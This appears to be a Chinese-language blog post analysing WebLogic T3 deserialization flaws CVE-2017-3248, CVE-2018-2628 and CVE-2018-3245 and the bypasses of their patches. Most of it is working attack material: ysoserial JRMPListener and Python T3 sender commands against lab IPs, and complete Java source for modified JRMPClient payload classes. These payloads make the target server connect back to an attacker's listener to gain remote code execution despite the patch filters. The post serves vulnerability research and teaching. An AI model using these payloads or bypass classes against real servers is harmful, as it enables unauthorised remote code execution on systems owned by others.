前言

上上篇文章我们分析了CVE-2015-4852、CVE-2016-0638、CVE-2016-3510的漏洞,因果是从resolveClass方法中出现的,resolveClass方法直接继承了父类的方法,然后没有任何过滤的造成了序列化漏洞,后面两个cve都是前者的绕过。今天分析一下CVE-2017-3248 & CVE-2018-2628,上上文中我们知道readClassDesc类描述方法可分为没有代理的类和代理类,CVE-2017-3248漏洞的成因就是代理类resolveProxyClass方法。
在这里插入图片描述

CVE-2017-3248

利用原理是:
攻击机开启JRMP服务端 -》利用T3协议发送payload使得weblogic反序列化后,开启JRMP客户端,并连接服务端 -》服务端发送exp给客户端,客户端上的DGC接收到响应即会反序列化。
核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行.
如果仔细分析过上篇文章的,这里的利用步骤能很容易看懂。
首先我们开启JRMP服务端:

java -cp .\ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/success'

在这里插入图片描述
利用T3协议发送payload/JRMPClient,然目标回连我们:

python2 2017-3248.py 192.168.202.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.202.1 9999 JRMPClient

在这里插入图片描述
发送T3协议payload的POC

python2 p2-CVE-2017-3248.py dip dport path_ysoserial jrmp_listener_ip jrmp_listener_port jrmp_client

在这里插入图片描述
漏洞分析:
上文中的payloads/JRMPClient的分析部分就是这里漏洞的分析,只不过resolveProxyClass方法,没有过滤java.rmi.registry.Registry类,造成了反序列化。
在这里插入图片描述

CVE-2018-2628

先看看补丁中InboundMsgAbbrev中resolveProxyClass的实现,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,其实随便找一个rmi接口即可绕过。

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;
   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }
   return super.resolveProxyClass(interfaces);
}

方法1:取消代理proxy
取消代理proxy,不走resolveProxyClass,而去走resolveClass就可以绕过
JRMP3/JRMP4没有使用代理类,而去走resolveClass,resolveClass方法中没有对java.rmi.registry.Registry类进行过滤,所以可绕过

package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;

public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject (final String command ) throws Exception {
        String host;
        int port;
        int sep = command.indexOf(':');
        if (sep < 0) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
        return stub;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}

package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;

public class JRMPClient4 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject (final String command ) throws Exception {
        String host;
        int port;
        int sep = command.indexOf(':');
        if (sep < 0) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
        ReferenceWrapper_Stub stub = new ReferenceWrapper_Stub(ref);
        return stub;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient4.class.getClassLoader());
        PayloadRunner.run(JRMPClient4.class, args);
    }
}

方法2:寻找Registry的替代类
绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry,从而绕过resolveProxyClass的判断。其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map

package ysoserial.payloads;


import java.lang.reflect.Proxy;
//import java.rmi.registry.Registry;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;


/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        /*Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
         */
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

自行打包ysoserial,即可使用

CVE-2018-3245

根据前面的分析可知,我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandler的类进行替换,就能继续绕过了。
那么这个类应该满足以下条件:
继承远程类:java.rmi.server.RemoteObject
不在黑名单里边(java.rmi.activation. 、sun.rmi.server.)
符合条件的还不少,可在idea中查看谁实现了RemoteObject这个类。
在这里插入图片描述
RMIConnectionImpl_Stub 继承了 java.rmi.server.RemoteStub 继承了java.rmi.server.RemoteObject
在这里插入图片描述

稍微改一下payload便能继续利用了:

package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;


@SuppressWarnings ( {
    "restriction"
} )

public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
        return stub;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}
参考:
https://xz.aliyun.com/t/2479
https://www.cnblogs.com/nice0e3/p/14275298.html
https://www.cnblogs.com/yyhuni/p/15177765.html
http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/#CVE-2016-0638
posted on 2022-09-13 18:13  noone52  阅读(152)  评论(0编辑  收藏  举报